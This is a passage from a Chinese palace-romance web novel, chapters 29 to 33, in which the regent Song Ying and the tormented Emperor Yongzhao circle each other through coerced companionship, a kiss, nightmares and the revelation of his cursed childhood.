宋迎经历了地牢的惊魂,又被他那样粗暴对待,精神早已透支。 起初还能强撑着,与他一来一回地辩上几句。 可渐渐地,烛火开始在眼前晃动,化作团团模糊光晕,那些密密麻麻的字迹也开始跳起舞来。 眼皮越来越重,像坠了铅。 她撑着额头,头却不受控制地一点、一点…… 最后,弦,断了。 宋迎枕着自己的手臂,直接在书案上睡了过去。 万春殿陡然安静下来。 永昭帝刚挑剔完她对军报的批注意见,正等着她的反驳。 可他等来的,却只有绵长而均匀的呼吸声。 他眉心一蹙,抬眼看去。 竟敢在他的眼皮子底下睡着? 永昭帝小声怒道:“……放肆!” 他霍然起身,几乎是想立刻把宋迎拎起来,扔到殿外清醒清醒。 可他的脚步,绕过御案,却在看清她睡颜的那一刻,生生顿住了。 光晕下,莹润肌肤宛如白瓷。 平日里,那双总是滴溜溜转着的杏眸,将狡黠紧闭。 可宋迎眉心紧蹙,睫羽微颤。 像是在梦里,也不得安宁。 他的目光缓缓下移。 那唇依旧带着靡丽的红肿,此刻微微嘟着,显出几分不设防的柔软。 永昭帝在原地僵立许久。 殿内只剩下彼此呼吸声,一深一浅,交织在一起。 他想,他就该拂袖而去,让她趴上一夜,明早冻出个风寒来,看她还敢不敢再有下次。 可脚下像生了根,挪不动分毫。 那双刚刚还想把人扔进雪地里的手,竟然鬼使神差地……伸了上去,想去抚平她紧蹙的眉心。 指尖在离她眉心尚有寸许,却悬空停住。 他在干什么啊? 永昭帝脸色沉了下去。 他猛地收回视线,鼻腔里发出一声短促的—— “哼。” ……奏折还未批完,她若是病倒了,岂不耽误朝政大事? 是为了江山社稷,绝无私心。 他认命转身,从一旁取过云锦毯。 那毯子轻若无物,触手生温,他却觉得有千斤重。 他屏住呼吸,走到她身边,俯下身,想将毯子披到她身上。 他从未做过这种事。 是该直接盖上去,还是该先展开? 力道要多大才不会惊醒她? 永昭帝被难住了。 生涩笨拙的那一瞬—— 宋迎,醒了。 她是被冻醒的,更是被骤然逼近的压迫感惊醒的。 迷迷糊糊地睁开眼,视线渐渐聚焦—— 最终,定格在近在咫尺的脸上。 以及,他那只捏着毯子,尴尬地停在半空中的手。 四目相对,空气凝固。 下一息,永昭帝触电似的猛地收回手。 那张薄毯直接被甩在了一旁。 他迅速直起身,面色恢复如常。 ——如果能忽略迅速攀红的耳根的话。 他眼神阴鸷,像是要把刚才那一幕从宋迎脑里剜掉。 宋迎被他看得心头发毛,正盘算着该以哪种形式跪下请罪。 却见永昭帝薄唇一抿,转身大步走向宽大软榻。 他径直躺了上去,颀长的身躯瞬间侵占了大半位置。 雪白柔软从他身侧塌陷下去,衬得永昭帝整个人愈发危险。 而后,他头微微一偏,用下巴点了点身侧。 “要睡,便过来睡。” 第29章 第29章杀了她。 豺狼邀约绵羊,从来都只为连皮带骨,拆吞入腹。 能是什么好事? 宋迎心下犯了嘀咕,但还是佯装镇定,从御案前起身。 指腹下意识擦过唇角—— 还好还好,刚才睡着的时候,没做什么失仪的动作。 御案离软塌,不过几步之遥。 宋迎却走得一步一思忖,一步一惊心。 她想不明白。 自己不过是熬不住,眯了片刻的功夫,怎么狗皇帝的态度就就 急转直下呢? 上午拎着她去地牢, 下午不是盖被子,就是邀她同榻…… 地牢里阴冷的血腥味,倏然钻入鼻腔。 宋迎浑身一凛,猜忌!他还是在猜忌她! 恩威并施,不过是想看看她的忠诚,想让她表个态度! 一定是这样的! “陛下!” 宋迎双膝一软,跪得又急又重。 “臣罪该万死!臣……臣与那位黎姑娘确有数面之缘,但对那反贼,臣绝对是闻所未闻,见所未见!” “求陛下明察,若臣所言有半句虚言,臣甘受任何处置!” 永昭帝皱了皱眉,好端端的,这是在急什么? 他侧躺在榻上,单手支头,姿势未变,好整以暇地打量着跪在地上的宋迎。 他的确派人去查过。 据宋宅下人所说,那几日府里确实人仰马翻,主母甚至查遍了所有侍女。 想来,是那燕贼想顶了她辽州秀女的名额,混入宫中。 至于当中出了什么岔子,才让对方转而寻了兖州朱氏…… 他不得而知。 但宋迎倘若真是牵扯燕党,也是后来的事。 不过月余而已,算不上有多少忠心。 他倒不甚在意。 视线从宋迎匍匐的肩胛线,滑到被她攥得发白的指节。 这双手,方才还在朱批上,写出那般漂亮的楷书。 如今,却抖成这般。 地牢里……真就那么可怕?把她吓得不轻? 永昭帝唇角勾起弧度。 枉他今日看她批注错得离谱,还以为她在动什么别的心思。 看来,是吓着她了。 “宋迎,” 永昭帝又唤回了她的名字,“过去的事,朕可以既往不咎。” 他目光饶有兴味地,遍遍描摹着她跪伏身姿。 “重要的是……现在,你是谁的人?”他问得极慢,“将来,又要当谁的人?” 而后语气一沉,又带着不容置喙的威压: “回答朕。” 这可是宋迎表忠心的好机会! 她深深叩首: “臣,宋迎,食君之禄,担君之忧,自然只会是陛下的人。” 永昭帝被陈词逗笑了。 “既然是朕的人,为何抗旨不尊?” 语调略微上扬,一听就是满腔戏弄,装出来的怒意。 宋迎眼中却真的闪过一丝惶恐,茫然抬眸:“臣、臣不知所抗何旨?” “朕让你歇息,是体恤。你若不从,便是辜负圣恩,此为不忠。” 永昭帝依旧是那副慵懒姿态,抵着额角的食指,有一下没一下地点着。 目光幽深,“你若歇不好,明日如何为朕分忧?耽误国事,此为不敬。” 他抬起另一只手,拍了拍身侧空出来的地方。 意思不言而喻。 歪理! 全都是歪理! 分明是—— 君要臣死,臣不得不死。 君要臣睡,臣……岂敢不睡! 算了…… 午后小睡而已,又不是要干嘛。 宋迎眨了眨眼,磨磨蹭蹭挪到榻边。 在距离永昭帝最远的位置,小心翼翼地脱了外履。 外袍? 外袍就不脱了,脏死他! 宋迎不敢看他,咬着牙,用最快的速度躺下。 下一瞬,一床被褥劈头盖脸扔下。 不偏不倚,正好盖在肩下三寸的位置。 锦被是贡品云锦,柔软如云,是能让人安眠的好被子。 可落在宋迎身上,却重逾千斤,每寸肌肤都在叫嚣着逃离。 宋迎拼命往床沿缩,恨不得与他隔开一条银河。 耳边,是截然不同的两种声音。 她能清晰地听到自己胸腔里那颗心—— “咚、咚、咚” 如擂鼓,如鸣金,仿佛下一秒就要破膛而出。 而与她一尺之隔的男人,呼吸声却是那样的平稳、悠长。 宋迎紧紧闭着眼,她开始强迫自己装死。 脑子里却乱成一锅粥,走马灯似的闪过地牢的血腥、御案前的威压,以及此时此刻永昭帝的—— 狗皇帝他到底想干什么! 君心难测,想不通,完全想不通。 但宋迎起码已经知道了,原书男主已经被大反派关起来了。 接下来—— 就该是女主黎婧容劫狱救人的高光剧情了! 对,目前不是逃跑的好时机。 现在绝不能轻举妄动,得等。 按照“书里写的就一定会发生”的原则—— 永昭帝马上就要死了!他死了就大结局了! 对,等他死。 等他死了,她就自由了! 她就可以…… 可以…… ……可以这御榻,未免也太软太舒服了。 白日里提心吊胆耗尽了她所有心神,此刻被温暖包裹着,倦意涌来,心跳不知不觉间被身侧呼吸声同化。 她竟真的睡了过去。 另一道呼吸,却微不可查的一凝。 永昭帝缓缓睁开了眼。 那双凤眸里,没有半分睡意。 他能感受到她身体细微的颤抖,感受到那份僵硬。 目光落在那道纤细身影上。 乌黑长发如瀑般,铺在朝服上,勾勒出不堪一握的肩线。 许是躺卧的姿势,那身严谨刻板的绀黄在腰际处,陷下一道柔软弧度。 他的视线,被吸引着,死死黏在那处洼地里。 喉咙,蓦地发紧。 永昭帝觉得自己身体某处地方不太对劲。 太涨了,这种燥热感用身体末端涌起,一股一股地扑向心脏。 这种感觉,只有在汲取津液,才会出现。 可现在…… 仅仅是看着她的背影,竟然也会如此? 这无法解释的反应,这突如其来的失控。 既让他陌生,又让他不解。 永昭帝眼底掠过阴鸷。 无所谓。 他自然会好好搞明白这一切。 重要的是,现在,宋迎已经为他所用了。 ……是么? 怀疑与不安又扎向他。 这个女人,谎话连篇,胆大包天。 她欺骗他,拿捏他,三番五次地冒犯他。 可他现在,居然……不想杀她了。 这个认知让他悚然一惊。 不。 眼底墨色翻了翻,杀意重生。 他还是想要杀了她的。 必须杀了她。 她太会骗人了。 她此刻的温顺,不过是畏惧他的身份,畏惧他手中的权力。 这副臣服的姿态,说不定只是她为了活命演出来的戏码。 她根本不知道,他,究竟是怎样一个怪物。 要是她知道了—— 永昭帝的唇角缓缓勾起。 他似乎能预见到那一天的到来—— 当她看清他的真实面目, 她一定会比现在更加害怕!会尖叫!会露出万分恐惧的表情! 会……离开他。 而他绝不允许,任何人,叛逃第二次。 那么, 就在她逃之前—— 杀了她。 这一次,他绝不会再心软了。 第30章 第30章不容拒绝、也不允许拒绝…… 长夜将尽,天色未明。 破晓晨钟,穿透重重殿宇,悠悠荡来,涤荡万籁俱寂。 宋迎眼睫微颤,她被这钟声惊醒了。 突然,她想到了什么。 心脏骤然一缩,猛地睁眼,望向身侧。 空了。 他走了? 他什么时候走的? 自己……竟然在万春殿睡了这么久???! 她手脚发软,从软塌上滚了下来,跌坐在地。 一身朝服被她睡得乱七八糟,领口歪斜,发髻也散了。 这还怎么去上朝? 宋迎手忙脚乱地整理着皱成一团的外袍。 突然,眼角余光一瞥。 离床榻不远的小凳上,叠着一套崭新的绀黄朝袍,旁边,还搭着一件白狐裘大氅。 宋迎的动作顿住了。 她走过去,指尖试探着碰了碰,毛茸茸触感带着暖意,微微刺了她一下。 ……提前备下的? 宋迎心头一颤,起身推开窗,裹着雪的冷风扑面而来。 外头,下雪了。 是京 州初雪,细雪如盐,纷纷扬扬,尽数覆上清寂霜白。 天地间仿佛只余下落雪的簌簌声。 好安静。 雪的声音,好安静。 心头那点慌乱,竟被这场突如其来的雪抚平了。 可是宋迎来不及多欣赏。 一刻钟后,她换上朝服,匆匆往金銮殿赶去。 她身为摄政王不过数日,状态已经能够切换自如了。 踏过高高门槛,厉色闪过,清澈杏眼陡然沉下,敛去所有波澜。 金銮殿上,两个时辰下来,宋迎只觉得口干舌燥,心力交瘁。 好在,昨日与永昭帝的交锋让她早有准备。 任凭那群老狐狸如何巧立名目,她三言两语便能拆解他们的攻势,将话柄不软不硬地顶回去。 虽是艰难,却也未落下风。 朝事议下大半,也该退朝了。 看着高伯深为首的一派官员那青白交加的老脸,宋迎懒得多言,利落甩袖,转身便走。 退朝! 下班! 身后却传来一道急切的呼唤:“殿下请留步!” 只见一个身着五品文官朝服的年轻人正朝她跑来,气息微喘地在她面前站定,恭敬行礼。 都下班了还来找她干嘛? 宋迎没什么好脸色,她端出摄政王的仪态,那眼神瞬间凉了三分。 “下官工部盛向明,叩谢殿下知遇之恩!江南治水一事,下官……下官定当鞠躬尽瘁,死而后已!” 奏折上的名字,与人脸对上了号。 宋迎有些印象了。 她还以为那老练犀利的行文出自中年干吏之手,未曾想,竟是这么个初出茅庐的愣头青。 眼底寒意散去,宋迎展眉一笑,“好,本王信你。” 说着,指节微屈,宋迎学着那些书里大人物惯有的姿态,有些生涩地拍了拍他的肩。 盛向明却像是得了天大的恩赏,激动得身体一僵,复又深深一揖:“下官定不负殿下所托!” 这年轻人显然是个实心眼,不懂官场里的弯弯绕绕。 她余光一瞥,周围还没走远的官员们,纷纷投来目光,随即又加快了脚步。 但凡多在官场滚几年,也做不出大庭广众之下,与摄政王热聊的事。 盛向明没有察觉到宋迎异样的眼神,感激涕零地又表了一通决心,寒暄了四五个来回才肯放宋迎走。 好不容易送走了满腔热血,宋迎加快脚步下班。 然而,当她推开偏殿大门时,却愣住了—— 屋里,空空如也。 润德公公在养病,没有他点头,底下的小太监连个屁都不敢放。 所以,到底是谁的意思,不言而喻。 怒气“噌”一下窜上脑门,宋迎做了好几个深呼吸才将其压回心底。 她没有去寻那些小太监的麻烦。 而是转身,径直去了万春殿。 殿内恍若初春,厚厚地毯铺展脚下,悄然吞没了足音,也吞没了她满身的风雪与寒意。 然后,她看见了她的家当—— 有几本旧书被放在了书架上; 她打珞子时,缠成一团没来得及收拾的棉线,被理好放在案几上; 还有她藏着私房钱的小箱子,被堂而皇之安置在了博古架上。 整整齐齐,安安稳稳。 仿佛它们本该属于这里。 这是……什么意思? “回来了?” 一道慵懒嗓音自身后响起,敲在她耳膜上。 宋迎猛地回头—— 她的视线穿过一道晃动的珠帘。 内殿光线昏昧,永昭帝站在那光与影的交界处。 只随意披着一件素白寝衣,领口大敞,露出一段冷白脖颈和线条分明的锁骨。 墨发未束,湿漉漉地披散在肩头,水珠顺着发梢,没入衣襟深处。 那双幽暗凤眸,穿过摇曳珠光,正一瞬不瞬地将她牢牢锁住。 豺狼露出了最原始、最危险的姿态。 大白天的洗什么澡啊。 宋迎垂下眼,声音干巴巴的:“……陛下。” “过来。” 不容拒绝、也不允许拒绝。 宋迎一步步挪了过去,鼻息间,尽是潮湿水汽。 她停在了珠帘前,不敢再近。 “你的东西,都搬过来了。”永昭帝抬手,随意拨开一串珠帘,露出半张脸来,“可还满意?” 满意?满意个屁! 她什么时候说过要搬过来了?! 这是强买强卖!这是非法入侵! 宋迎暗中觑着他,见他面色虽白,但中气十足,眼神锐利,力气估计都够绕万春殿跑三圈了。 看来黎婧容当初下的那点药,早就被他代谢干净了。 真他丫的祸害遗千年。 “陛下,臣惶恐。”宋迎挣扎道,“臣见陛下今日精神矍铄,龙体康健,想来已无大碍……” 话音未落,永昭帝突然大声咳嗽起来。 那咳声惊天动地,不见虚弱,像是故意咳给她听的,敷衍得明目张胆。 他咳完了,才慢悠悠地掀起眼皮,眼底一片笑意。 “朕的身子,朕说病了,便是病了。” 一句话,将宋迎所有的退路堵死。 她一口气堵在喉咙口,上不去也下不来。 霸道!蛮横!仗病行凶! 书里那个“病弱体虚”的永昭帝,原来是这么个“病弱”法! 见宋迎小脸气得涨红,却又不敢发作,只得怔在原地。 永昭帝眼底兴味更浓。 他喜欢看她这副模样—— 湿漉漉的眼眸、颤抖的身体、紧咬的下唇。 他伸出手,彻底撩开碍事的珠帘。 “宋迎,”他目光灼灼地盯着她的唇,“既是朕的药,就该有做药的本分。” 话音落下的瞬间,手臂不由分说揽住那截腰肢。 不等宋迎惊呼,吻,俯身落下。 珠帘轻摇,光影凌乱,宋迎失手抓住一串珠子。 舌尖撬开齿关,攻城掠池。 宋迎心口微颤—— 五指一松,满串珠玉从指间滑落,砸下靡丽的清脆。 这狗皇帝……吻技好像又进步了。 起初是急切的、贪婪的、不容喘息的,渐渐地,却又放缓了力道…… 更何况狗皇帝刚刚洗过澡,墨发半湿,寝衣松垮…… 难保宋迎不多想—— 熬不到晚上,光天白日的,恐怕…… 算了。 她闭上眼,试探着伸手,在腰腹上摸了一把。 嗯,手感还行。 就在她以为一切都将失控时,唇上的力道却倏然一松。 永昭帝放开了她,后退一步,眼底翻涌的潮水已然褪去。 他拢了拢微敞的衣襟,“今夜,就睡在里间吧。” 说罢,真的去披了件外衫,径直走向御案。 “还愣着做什么,”他头也不回地吩咐,“过来,替朕磨墨。” 高压教学又要开始了。 宋迎:…………? 她觉得自己每次都想歪。 每次。都。 这样很不好。 非常不好。 可是—— 又亲又抱,又让人同睡,气氛都烘托到这儿了,这难道不是某种心照不宣的流程吗?! 她连被子都准备掀了,他就给她看奏折?! 宋迎快气炸了。 …… …… 夜,又深了。 万春殿的御榻,比昨日的更大,更软。 可宋迎躺在上面,无论如何也睡不着了。 宋迎真的好气。 孤男寡欲共处一室。 把人撩拨得心浮气躁,拖上床,就盖着被子,三、秒、入、睡?! 这合理吗? 这狗皇帝是不是在吊着她啊? 宋迎越想越气。 黑暗中,她终于没忍住: “日哦。” 她把心里话骂出来了。 身侧平稳的呼吸骤然一乱。 宋迎的心瞬间提到了嗓子眼。 他醒了? 听见了?! 突然,她听见了一声: “别走……” 像是喉间尚未吞下的呓语。 紧接着,是细微的、压抑的喘息。 “……冷……” 宋迎屏住呼吸,僵着身体,一动不敢动。 “百……墓……别去……” 百墓是什么东西? 好像哪里听过。 还没等她消化这个信息,一只大手猛地抓住了她的手腕! 宋迎瞳孔骤缩,搞什么,白日禁欲,晚上梦游发疯啊! 30-40 第31章 第31章风雪扑面,却浑然不觉。…… 下一瞬,那只手猛地松开,缩了回去。 黑暗中,宋迎听见永昭帝的窸窣声。 他坐起身,又粗又急的呼吸声,一声声砸在宋迎心上,将她的心跳也一并带得紊乱不堪。 她十指默默攥紧被子。 半晌,永昭帝沙哑嗓音响起,带着大梦初醒的恍惚: “……你醒了?” 宋迎本打算继续装死。 但刚才手腕上那一下,实在是太疼了。 要是没醒,未免也太假了。 她含糊不清地“嗯”了声。 恍惚褪去,他声音更沉,又问:“方才……你可听到了什么?” 来了吧,宋迎在心底嗤了一声。 她就知道狗皇帝在演戏。 欲擒故纵玩真溜,不去梨园唱一台都屈才了。 又想吊着她? 她偏偏不接招。 宋迎把自己埋进被子里,慢吞吞翻了个身,用后背对着他。 “唔……没有呀。”声音隔着锦被,闷闷的,透出朦胧睡意,“陛下……是梦魇了吗?” 黑暗中,传来一声他若有似无的轻叹。 “无事,”他淡淡道,“做了个噩梦罢了。” 身侧的床榻微微下陷,他重新躺下。 “不过是些陈年旧事,惊扰到你了。”永昭帝道,“睡吧,夜深了。” 欲说还休,点到为止。 高明,实在是高明。 宋迎无声地睁着眼。 她知道,他根本没睡。 这不是梦呓,是钩子! 每一个字,每一句话,都是在引导她去追问,去调查那个地方—— 百墓坡。 百墓坡是什么地方? 她当然知道。 那是埋葬宫中怨魂的乱葬岗。 从前那些秀女的尸首,都被扔在那里。 知晓此事,就是嫌自己命长。 可他,为什么要故意让她知道? 难道狗皇帝越来越依赖她,打算对她敞开心扉了? 宋迎忽然觉得,腕上那圈被他握过的余温,陡然变得滚烫起来。 不不不。 宋迎心沉了一下,太危险了。 探寻一个疯子的过去,是心疼的开始,是沦陷的源头。 代表着挣脱不掉的纠缠,代表着万劫不复的开始! 宋迎闭上眼,全身心都在抗拒着那份好奇。 翌日午后,雪霁初晴。 用过午膳,永昭帝懒懒倚在软榻上小憩。 “宋迎。”他忽然开口。 宋迎正抄录奏折批注,闻言笔尖一顿。 “去把角落里那些旧档整理了。”他随口吩咐道,“积了那么厚的灰,看着心烦。” 来了。 局中局。 ……她就说昨天晚上他根本就是故意的!! “陛下恕罪,”宋迎立刻放下笔,转身面露难色:“臣今日……身子不爽利。” 她咬了咬下唇,佯装羞赧:“是……葵水来了。” 这招宋迎屡试不爽。 谁知,永昭帝掀了掀眼皮。 视线落在宋迎身上,似笑非笑。 “是么?”他反问,“可朕,并未闻见血气。” 宋迎的心咯噔一下,那她之前装病……? 丫的! 她怎么忘了,这狗皇帝的五感异于常人,鼻子比狗还灵! 目光如有实质,要将宋迎层层剥开。 她只能硬着头皮,往他设好的陷阱里跳。 余光飞速扫过博古架,她瞧见上头插着腊梅的花瓶。 电光火石间,她身形一个踉跄,手腕一偏,恰好扫了过去—— “哗啦——” 满瓶清水兜头泼洒在最上面的卷宗上。 陈年墨迹遇水即化,顷刻间晕成了模糊污迹,字迹再也无法辨认。 宋迎大惊失色,扑通一声跪在地上。 “陛下!臣……臣失手污了卷宗,罪该万死!” 永昭帝闻声而来,一双云纹鞋履站定在她身前。 目光顺势压下。 他没有出声。 宋迎伏在地上,狗皇帝肯定知道自己已经看穿了他的心思。 那么,下一步棋,又会落在何处? 也不知过了多久,那目光终于移开。 “下去吧。” 比起雷霆震怒,不咸不淡的声音更让宋迎心头发紧。 “……是。” 宋迎低声应下。 她见惯了白磷性格的狗皇帝。 如今这忽冷忽热的模样,宋迎有些莫名其妙。 出了殿门,宋迎抬头看了看天色。 是时辰了。 金銮殿送圣旨那天,润德公公身子还没好全,又病下了。 此后,她每隔三日,便会去探望一回。 一路行去,冷风灌入衣领。 索性润德公公的住处不算远,宋迎加快了脚步。 …… 屋里烧着地龙。 润德公公半靠在床上,脸色蜡黄干瘪,但眼神却清明得很。 宋迎在床边坐下。 问了病情,又拣了些宫中无关痛痒的闲话,聊了聊。 然而,润德公公始终没有接话,目光在她脸上打转。 忽然,他低低咳了两声,打断了她的话。 “宋小姑娘,”他叹了口气,“您不必与咱家兜圈子了。” 心头不安放大,宋迎疑惑眨眼。 “有些事,陛下想让您知道,那便是掘地三尺,也是非送到您面前的。” “躲不掉。” ……狗皇帝他是非要让她知道不可吗 她霍然起身,语无伦次地想要打断:“我……我不想……” “小姑娘聪慧,已猜到陛下时常为五感失控所困。”润德公公语速缓慢,“那你可知,从前,陛下是如何平息的?” 宋迎没说话,可她知道。 ——杀戮。 这两个字迅速在她脑中晕开。 唯有更剧烈的痛苦,才能覆盖痛苦。 唯有更癫狂的刺激,才能压下刺激。 脸上血色一下子褪得干净,她垂在身侧的指尖微微发抖。 秀眉一蹙,宋迎再也听不下去,转身便向屋门走去。 润德公公在她身后悠悠地说: “小姑娘现在走了,陛下……下次就不知道会用什么法子让您知道了。” “到那时,”语气加重,“恐怕就不止是听个故事这么简单了。” 润德公公再次长长叹息。 ““陛下自幼便是这般执拗性子……” “……是逃不掉的。” 宋迎无奈,只能任凭一字一句钻入耳腔。 心也跟着提到了嗓子眼。 他复又说道: “那燕国奇蛊,本是种在先皇身上的。此蛊阴毒,跗骨噬心,却并非无解。” “解法,便是……血脉为引,骨肉为祭。” “先皇为解脱自身,毫不犹豫地……诞下了陛下,将无尽折磨,转移到了婴孩身上。” 原来如此…… 原来是这样。 本该承受一切的是先皇,而非永昭帝?! 寒意从宋迎喉咙口炸开,蔓至全身。 的确,那时候先皇踏破燕国国都,没多久永昭帝便出生了。 没想到背后竟是—— 父食子。 “……公公。” 宋迎低哑出声。 润德公公苦笑道: “陛下自幼便被蛊毒侵蚀,五感失控,痛苦难当……失了心智后,他、陛下他会控制不住地啃咬自己的生母……” “先皇后……怕极了,视陛下为……怪物。” 声音陡然一空,“……便扔给了咱家。” 宋迎有些恍惚。 呼吸都停了半拍,耳边一片嗡鸣。 可润德公公接下来的话,却是悚然至极: “小姑娘以为,那百墓坡里,埋的……只是秀女么?” 后面的话,他终究是没忍心说出口。 他太了解陛下了。 陛下要他说的,他都说了。 接下来,他也该说说心里话了。 “ 小姑娘,”润德公公望着宋迎背影,“陛下所做的一切,不过是想看看……您会不会也像那些人一样……” 又是试探。 没完没了的忠诚度测试,他是有什么KPI考核吗? 这些,又跟她宋迎有什么关系? 男女主的主线她躲都来不及,更不想招惹什么大反派。 她要回家。 ——宋迎第一反应是不知所措的时候,仍旧是想要回家。 心理有疾病就去找心理医生,她又不会治病! 她没空跟大反派在这促膝长谈,进行话疗救赎。 见她不语,润德公公轻轻唤了声:“宋小姑娘……” 他什么也没问,却是什么都问了。 “公公说笑,”宋迎负手而立,背挺得笔直,“这等皇家秘辛,牵连甚广,岂是我……能妄议的。” 润德公公脸上表情僵了一瞬。 然而,宋迎话锋一转。 她敛着笑,目光冷冽明亮。 应该有暗卫在记录她此刻表情吧。 他既然这么想要一个态度, 好,那她就给他一个。 宋迎转身: “不过……” “若是我,生来被至亲所食,被生母所弃,被举世唾骂……” 她微微勾唇,笑意衬得眼中寒光迸现: “我只会做得……比他更过分。” 她朝外挑了挑眉,赶紧录下来让狗皇帝看看! 丫的把她弄急了她也是不好惹的主! …… …… 一墙之隔。 风雪灌入长廊,凄厉声拍着屋檐。 永昭帝僵站在廊下,第一次,有些不知所措地,望向了那堵隔开他们两人的墙。 风雪扑面,却浑然不觉。 第32章 第32章她越来越笃定,狗皇帝喜…… “我只会做得……比他更过分。” 宋迎的声音很轻,廊下风雪呼啸,本该是听不清的。 但是,他听见了。 世界,突然安静了一瞬。 永昭帝无比清晰地,听见了每一个字。 风声、雪声、心跳声,连同他骨血里叫嚣了二十余年的蛊毒,也在这一刻,从命脉里被生生剥离。 撕开腐烂的过往,剥开皮肉,露出森森白骨,扔到她面前—— 他算准了她的反应。 会惊、会惧、会像所有人那样,避他如蛇蝎。 是她先怕了他!厌了他! 这样,他便有了理由,有了决心,去亲手抹除掉这个变数。 可他千算万算,没算到—— 突然,他仿佛又看见了那片尸山血海。 男人冕旒歪斜,半身破败,只能用两根指节攥着他的袍角; 女人发丝凌乱,肩头血窟窿泊泊流着血,浸湿了他的靴底; 无数怨毒的手从地狱里伸出,攀上他,嘶吼着,诅咒着,要将他拖回炼狱…… 而宋迎,就站在另一头。 踏在尸山血海中央,承认了他所有罪孽的正当性。 好疼。 比刀子捅进去更疼,比蛊毒噬心更疼。 好疼。 疼到又开始不受控制地痉挛,疼到他死死咬住牙关,牙根却依旧在打着颤。 疼痛过后,紧随而至的是恐惧。 恐惧比尸山血海更真实,比地狱里的怨魂更可怖! 他后悔了。 他为什么要让她知道这些? 嵌入血肉的粘腻触感、尸体腐臭的气息,疯狂倒灌回脑中。 他仿佛能看见宋迎干净的脸上,溅上了他的血污; 看见她纤细脖颈,再次被他失控的手扼住; 看见她清亮双眸熄灭火光,变成又一具枯骨。 不。 不可以! 绝不可以! 她不能死。 她不能死! 永昭帝猛地转身,再不敢看那面墙壁一眼。 墨发翻飞,眼底涌起骇人赤色。 他几乎是逃回了万春殿。 殿内地龙压不住彻骨寒意,驱不散眉宇戾气。 他复又折回殿门口,随手指了名内侍,声音又冷又沉: “传朕口谕。” 眼底赤色沉为一点猩红,“无朕传召,摄政王,不必再入内殿。” * 宋迎倒是对润德公公那番话不甚在意。 听过且过。 她才不踩坑呢。 手段稚嫩,陷阱挖得明晃晃,跟直接问她“想不想活命”有区别吗? 哪个傻子会往里跳? 也就是狗皇帝没经历过九子夺嫡的地狱副本,喜怒全凭心情。 这要是搁在现代职场,早被她这种老油条玩得连裤衩都不剩了。 这么想着,宋迎唇角勾了勾。 下朝后,她打算再去表表忠心,再欣赏一下永昭帝的表情。 可到了万春殿外,却被一个眼熟又喊不出名字的小太监伸手拦下。 “殿下请留步。”小太监躬身道,“陛下有旨,今后您不必入内殿伺候,若有政务,自有宫人去东偏殿呈送,不劳烦殿下。” 唇角凝笑,宋迎挑了挑眉。 他自己主动把秘密告诉她的,说完又挂不住脸,玩冷战? “知道了。”她波澜不惊,颔首道,“有劳公公了。” 搞得她乐意跟他同居似的。 正好回去点点小箱子里的私房钱有没有少。 说罢,转身回了自己的东偏殿,没有半分留恋。 之前的置物都被原封不动的搬了回来。 没了狗皇帝在旁边当监工,她自己一个人干活还舒心些。 宋迎上手极快。 经过永昭帝的点拨,不过几日,批阅奏折已是游刃有余。 只是有些大事,还需要他亲自拍板。 “钦州盐引一案,盘根错节,不可急于一时,暗中派人前往,分而化之。” “淮南水患未平,国库空虚,修缮祭台一事,驳回驳回。” “吏部……新科进士任免……” 朱笔划过一行行名字,笔势却在奏折末尾,骤然一顿。 ——宋晋同。 是兄长! 刹那间,鼻腔一酸,眼前瞬间腾起一片水雾。 宋迎眨了眨眼,勉强将酸涩压下,看清了后面六个字: 自请辞官还乡。 兄长高中进士后,竟然……辞官还乡了?! 算了算日子,正好是自己入宫前后。 攥着笔杆的手在抖,所以,兄长十年寒窗,一朝金榜题名,却为了她……放弃了前程? 手抑制不住地轻轻颤抖。 思乡情切又被勾起,裹杂着愧意,瞬间冲垮了心防。 她做了数次深呼吸,才咽下哽咽。 喉头哽得生疼。 不能急,宋迎,你不能急。 她逼着自己,将思绪重新落回朝政上。 宋迎抬手抹去眼角湿痕,面无表情地翻开了下一本奏折。 再落笔时,腕下字迹依旧清隽锋利。 她将批阅好的奏折分门别类,码放整齐,才扬声唤来宫人转呈。 日升,月落。 长灯一夜未熄。 一日。 两日。 三日。 …… …… 永昭帝真成了甩手掌柜。 一摞摞被她批阅完的奏折,送去万春殿; 又有一摞摞被他阅过之后的奏折,送至偏殿。 本本奏折上,只有龙飞凤舞的的朱批—— 准。 日复一日,两人之间,仿佛只剩下了纸张往来。 宋迎却并不觉得狗皇帝讨厌她。 恰恰相反,她越来越笃定,狗皇帝喜欢她。 若非如此,何必让润德公公拐弯抹角地,告知她那些陈年旧事? 若非如此,又何必这样避而不见,他到底在怕着什么? 狗皇帝一定是喜欢她。 喜欢她,所以才不见她。 想通了这一点,宋迎不急了。 她倒要看看,狗皇帝接下来要唱哪出。 只是偶尔想起,离了她,他怕是又要夜夜受折磨了吧。 ……活该。 宋迎把方才情绪收了收。 热脸贴冷屁股的事,她不做。 他想做孤君,她便安安分分做能臣。 他要公事公办,她就比他更铁面无私。 这是情感博弈。 谁主 动,谁低头,谁认输。 她不能输, 她要赢。 宋迎搁下笔,起身走到窗边,活动一下筋骨。 窗外,又飘起了细雪,檐角覆了层新霜。 万春殿主殿与东偏殿,不过数步之遥。 永昭帝立在内殿后侧的窗格内,便可穿越风雪,望见东偏殿的长案。 他已经这样,看了她许多天。 不必刻意去听,她翻动奏纸的声音; 不必用力嗅闻,她身上墨香混杂着的清甜; 甚至那盏亮至中宵的烛火,只一眼,便可灼痛他的眼睛。 过去能让他瞬间平息的感知,如今却成了无时无刻的煎熬。 既贪恋又窒息。 他摊开御案上的奏折,是她清秀峭然的字迹。 从批注的口吻到处置的决断,无一不带着他亲手教导出的影子。 不愧是他的人,聪慧能干。 可疏离的时间越长,这点骄傲却成了体内凶兽的养料,变得越发躁动。 从细微的耳鸣,到指尖控制不住地痉挛。 渐渐地,眼前事物又开始重影剥离。 他强行压制着,脸色却一日比一日苍白阴郁。 一名小太监捧着卷宗,战战兢兢地立在殿外: “陛、陛下……殿下说今日公务棘手,还请您……亲自定夺。” 宋迎。 永昭帝在心里默念了一遍她的名字。 五感在刹那间彻底失控。 眼前烛火骤然炸开,千万根金针刺入他眼底; 窗外梅香陡然浓郁百倍,他几欲作呕; 殿外巡夜禁军步履沉重,无数重锤,砸在他头颅上! “呃啊——” 他喉间溢出一声痛苦闷哼。 殿外,小太监张开双臂,拦住了想要闯进去的宋迎。 “殿下!陛下吩咐过,任何人不得……” 吩咐你个球! 宋迎懒得废话,一把推开他,径直闯了进去。 第33章 第33章坏狗狗?过来。…… 万春殿内的景象,不禁让宋迎心脏骤缩。 哪里还有半分天子寝殿的庄重,俨然是个废墟场。 